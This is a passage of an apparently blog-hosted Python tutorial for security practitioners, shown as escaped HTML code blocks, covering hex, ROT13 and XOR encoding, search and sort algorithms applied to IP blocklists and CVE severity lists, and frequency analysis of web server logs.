&lt;/span&gt;&lt;span class="n"&gt;hex_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;               &lt;span class="c1"&gt;# '68656c6c6f'
&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hex_str&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;         &lt;span class="c1"&gt;# 'hello'
&lt;/span&gt;
&lt;span class="c1"&gt;# ROT13 (Caesar cipher, used in old CTFs)
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;codecs&lt;/span&gt;
&lt;span class="n"&gt;rot13&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;codecs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello World&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rot13&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Uryyb Jbeyq
&lt;/span&gt;&lt;span class="n"&gt;original&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;codecs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rot13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rot13&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="c1"&gt;# Hello World
&lt;/span&gt;
&lt;span class="c1"&gt;# XOR — common in malware obfuscation
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;xor_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;obfuscated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x65&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6C&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;  &lt;span class="c1"&gt;# XOR with 0xAA
&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;xor_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obfuscated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                                  &lt;span class="c1"&gt;# b'Hel'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  9. Basic Algorithms
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 Why Algorithms Matter in Security
&lt;/h3&gt;

&lt;p&gt;Algorithm knowledge in security is not academic. It directly applies to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Understanding time complexity of brute force attacks (how long will this actually take?)&lt;/li&gt;
&lt;li&gt;Writing efficient log parsers that handle millions of lines&lt;/li&gt;
&lt;li&gt;Implementing search in threat intelligence lookups&lt;/li&gt;
&lt;li&gt;Sorting and ranking vulnerabilities by severity&lt;/li&gt;
&lt;li&gt;Detecting patterns in network traffic&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  9.2 Searching
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Linear search — O(n) — check every element
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;linear_search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="c1"&gt;# For security: searching for a specific IP in a blocklist
&lt;/span&gt;&lt;span class="n"&gt;blocklist&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;172.16.0.5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;linear_search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blocklist&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Better for membership: use a set — O(1) lookup
&lt;/span&gt;&lt;span class="n"&gt;blocklist_set&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blocklist&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;blocklist_set&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="c1"&gt;# Instant lookup regardless of list size
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;IP is blocked&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# This matters at scale:
# Linear search through 1,000,000 IPs: up to 1,000,000 comparisons
# Set lookup: 1 comparison regardless of size
# When processing firewall logs with millions of entries, this is the difference
# between a script that takes 10 seconds and one that takes 2 hours
&lt;/span&gt;
&lt;span class="c1"&gt;# Binary search — O(log n) — requires sorted list
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;binary_search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;mid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;mid&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;mid&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;mid&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;left&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mid&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;right&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mid&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="c1"&gt;# Built-in binary search
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;bisect&lt;/span&gt;
&lt;span class="n"&gt;sorted_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bisect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bisect_left&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sorted_ports&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sorted_ports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Port 443 found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.3 Sorting
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Python's built-in sort is Timsort — O(n log n) — extremely efficient
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                           &lt;span class="c1"&gt;# In-place sort
&lt;/span&gt;&lt;span class="n"&gt;sorted_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;           &lt;span class="c1"&gt;# Returns new sorted list
&lt;/span&gt;
&lt;span class="c1"&gt;# Sort scan results by severity
&lt;/span&gt;&lt;span class="n"&gt;vulnerabilities&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cve&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CVE-2021-44228&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cvss&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Log4Shell&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cve&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CVE-2022-0847&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cvss&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;7.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Dirty Pipe&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cve&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CVE-2023-0179&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cvss&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;7.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Linux Kernel Privesc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cve&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CVE-2021-4034&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cvss&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;7.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PwnKit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;# Sort by CVSS score descending (critical first)
&lt;/span&gt;&lt;span class="n"&gt;sorted_vulns&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vulnerabilities&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cvss&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;reverse&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;vuln&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;sorted_vulns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cvss&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;] &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cve&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Sort with multiple keys
&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;subnet&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;host_part&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.4 Practical Algorithms for Security
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Frequency analysis — which IPs are making the most requests?
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;collections&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Counter&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/var/log/nginx/access.log&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;ips&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;

&lt;span class="n"&gt;ip_counts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Top 10 IPs by request count:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
